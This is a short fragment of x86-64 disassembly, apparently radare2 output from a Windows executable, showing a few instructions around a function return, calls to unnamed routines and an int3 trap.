mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400347ac
cmp dword [rbp + 0x20], 0
je 0x140034968
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140034970
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400348b4